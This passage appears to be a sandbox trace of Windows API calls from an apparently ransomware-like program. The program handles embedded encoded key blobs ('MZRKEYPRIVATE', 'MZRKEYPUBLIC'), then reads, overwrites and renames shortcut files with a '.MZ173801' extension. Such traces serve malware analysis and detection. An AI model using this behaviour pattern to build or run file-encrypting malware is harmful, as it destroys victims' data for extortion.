dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.831] GetCurrentThreadId () returned 0xab4 [0152.831] GetCurrentThreadId () returned 0xab4 [0152.831] GetCurrentThreadId () returned 0xab4 [0152.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.832] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.832] GetCurrentThreadId () returned 0xab4 [0152.832] GetCurrentThreadId () returned 0xab4 [0152.832] GetCurrentThreadId () returned 0xab4 [0152.832] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yc1n.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3b9 [0152.832] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.832] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3b9, lpOverlapped=0x0) returned 1 [0152.833] CloseHandle (hObject=0x280) returned 1 [0152.834] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yc1n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.835] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3b9, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3b9, lpOverlapped=0x0) returned 1 [0152.836] CloseHandle (hObject=0x280) returned 1 [0152.837] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yc1n.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yc1n.lnk.mz173801")) returned 1 [0152.838] GetCurrentThreadId () returned 0xab4 [0152.838] GetCurrentThreadId () returned 0xab4 [0152.838] GetCurrentThreadId () returned 0xab4 [0152.838] GetCurrentThreadId () returned 0xab4 [0152.838] GetCurrentThreadId () returned 0xab4 [0152.838] GetCurrentThreadId () returned 0xab4 [0152.838] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12b2226, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf12b2226, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf12b2226, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3a6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="YYk-.lnk", cAlternateFileName="")) returned 1 [0152.838] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.838] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yyk-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf12b2226, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf12b2226, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf12b2226, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3a6)) returned 1 [0152.838] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yyk-.lnk")) returned 0x20 [0152.838] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YYk-.lnk", dwFileAttributes=0x80) returned 1 [0152.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 